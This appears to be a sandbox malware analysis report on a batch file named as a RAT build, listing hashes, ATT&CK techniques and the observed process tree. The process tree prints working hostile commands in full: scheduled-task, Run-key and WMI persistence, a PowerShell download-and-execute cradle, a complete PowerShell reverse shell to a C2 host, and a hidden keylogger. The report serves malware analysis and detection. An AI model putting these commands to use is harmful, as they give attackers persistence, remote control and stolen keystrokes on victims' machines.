74725e0030876c4a2a49dc9d0f8558512d9d49be0e1eeafb14d2bb73fdd0d073

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:22

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General

Target
rat_build_73109_014240.bat
Size 4KB
Sample260529-2af7dacy4r
SHA256 74725e0030876c4a2a49dc9d0f8558512d9d49be0e1eeafb14d2bb73fdd0d073
MD5 be87e9e5cdfd283ec56578384efd261c
SHA1 556bd44c37e539ed842570885cc5a6837062871a
SHA512 468cc67bdd3c7c3e8881976a39430384b7f5a29086fae19eeebbb0f0ff2dbe7cbcb000c7de2670cdfe3205c39cdc4dcd9ea54970a9b78d991a0ff006e20934da
SSDEEP 96:RIEhaWDKCI2V9nmBj7URDH1dWukllH8aDCf7K50Ygn8miFgZk8mvlo1DDx:RXzDKCIynm4a82wu50YGiFgkHlG1
TLSH
T185B108132787311089F05658C9333944576CEAFF2385DA8EBB88CEC4065DB03917EAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_73109.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3468	powershell.exe
4124	powershell.exe
5592	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_73109 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_73109.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3920	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3056	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1384	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1728	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3468	powershell.exe
3468	powershell.exe
4124	powershell.exe
4124	powershell.exe
5592	powershell.exe
5592	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2636	WMIC.exe
Token: SeSecurityPrivilege	2636	WMIC.exe
Token: SeTakeOwnershipPrivilege	2636	WMIC.exe
Token: SeLoadDriverPrivilege	2636	WMIC.exe
Token: SeSystemProfilePrivilege	2636	WMIC.exe
Token: SeSystemtimePrivilege	2636	WMIC.exe
Token: SeProfSingleProcessPrivilege	2636	WMIC.exe
Token: SeIncBasePriorityPrivilege	2636	WMIC.exe
Token: SeCreatePagefilePrivilege	2636	WMIC.exe
Token: SeBackupPrivilege	2636	WMIC.exe
Token: SeRestorePrivilege	2636	WMIC.exe
Token: SeShutdownPrivilege	2636	WMIC.exe
Token: SeDebugPrivilege	2636	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2636	WMIC.exe
Token: SeRemoteShutdownPrivilege	2636	WMIC.exe
Token: SeUndockPrivilege	2636	WMIC.exe
Token: SeManageVolumePrivilege	2636	WMIC.exe
Token: 33	2636	WMIC.exe
Token: 34	2636	WMIC.exe
Token: 35	2636	WMIC.exe
Token: 36	2636	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2636	WMIC.exe
Token: SeSecurityPrivilege	2636	WMIC.exe
Token: SeTakeOwnershipPrivilege	2636	WMIC.exe
Token: SeLoadDriverPrivilege	2636	WMIC.exe
Token: SeSystemProfilePrivilege	2636	WMIC.exe
Token: SeSystemtimePrivilege	2636	WMIC.exe
Token: SeProfSingleProcessPrivilege	2636	WMIC.exe
Token: SeIncBasePriorityPrivilege	2636	WMIC.exe
Token: SeCreatePagefilePrivilege	2636	WMIC.exe
Token: SeBackupPrivilege	2636	WMIC.exe
Token: SeRestorePrivilege	2636	WMIC.exe
Token: SeShutdownPrivilege	2636	WMIC.exe
Token: SeDebugPrivilege	2636	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2636	WMIC.exe
Token: SeRemoteShutdownPrivilege	2636	WMIC.exe
Token: SeUndockPrivilege	2636	WMIC.exe
Token: SeManageVolumePrivilege	2636	WMIC.exe
Token: 33	2636	WMIC.exe
Token: 34	2636	WMIC.exe
Token: 35	2636	WMIC.exe
Token: 36	2636	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5140	WMIC.exe
Token: SeSecurityPrivilege	5140	WMIC.exe
Token: SeTakeOwnershipPrivilege	5140	WMIC.exe
Token: SeLoadDriverPrivilege	5140	WMIC.exe
Token: SeSystemProfilePrivilege	5140	WMIC.exe
Token: SeSystemtimePrivilege	5140	WMIC.exe
Token: SeProfSingleProcessPrivilege	5140	WMIC.exe
Token: SeIncBasePriorityPrivilege	5140	WMIC.exe
Token: SeCreatePagefilePrivilege	5140	WMIC.exe
Token: SeBackupPrivilege	5140	WMIC.exe
Token: SeRestorePrivilege	5140	WMIC.exe
Token: SeShutdownPrivilege	5140	WMIC.exe
Token: SeDebugPrivilege	5140	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5140	WMIC.exe
Token: SeRemoteShutdownPrivilege	5140	WMIC.exe
Token: SeUndockPrivilege	5140	WMIC.exe
Token: SeManageVolumePrivilege	5140	WMIC.exe
Token: 33	5140	WMIC.exe
Token: 34	5140	WMIC.exe
Token: 35	5140	WMIC.exe
Token: 36	5140	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5140	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 1728	4880	cmd.exe	91
PID 4880 wrote to memory of 1384	4880	cmd.exe	92
PID 4880 wrote to memory of 2636	4880	cmd.exe	93
PID 4880 wrote to memory of 5140	4880	cmd.exe	94
PID 4880 wrote to memory of 5992	4880	cmd.exe	95
PID 4880 wrote to memory of 3056	4880	cmd.exe	97
PID 4880 wrote to memory of 3920	4880	cmd.exe	101
PID 4880 wrote to memory of 3468	4880	cmd.exe	102
PID 4880 wrote to memory of 4124	4880	cmd.exe	103
PID 4880 wrote to memory of 5592	4880	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_73109_014240.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_73109" /tr "C:\Users\Admin\AppData\Local\Temp\_73109.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1728
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_73109" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_73109.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1384
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_73109", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_73109", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_73109.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5140
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_73109.txt
  2⤵
  PID:5992
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3056
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_73109.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a98f042e381d7df6c49ca6b4696f7cb4fd97a9dcc374d31e1e852f5b15ac4d6c
MD5 478a2899afa68fb73f19c122429339e1
SHA1 4ef6abbd8914917a99d401862e82b1b96a1fb49f
SHA512 8e4f6f4452f31d6354c2e423898ad0b1b1efeda1b3f6dd8b3971b448090b581ca22eceb6c74f3729ccc94eb2132d65452c745789e1840f47ad2f5ac3c800bb4e
TLSH
T108117627F39CC921CC96153A409DAD1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 193ff6638fb8aff4a5202080bb3323a079ebd630363b1fb5627500a61f50d1bb
MD5 018209c2aca91af0ff46ed3d8c79d783
SHA1 9cc2669bbcd94af4a242c6eb8fddbe8f3ab34e49
SHA512 0f58c488963bf78a18a1ce957b30ac9328ab707104737a5bf54ee3fd5043aed810cca8fcb5a0bc24d773556184924ed5df01bda84618d547f6acea23a8884faa
TLSH
T1A7115727B39C89A1CC96153A409D9C1172B683DB409EDEDF7BC0D214A1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_444wh52a.rwy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_444wh52a.rwy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3468-3-0x0000021134100000-0x0000021134122000-memory.dmp

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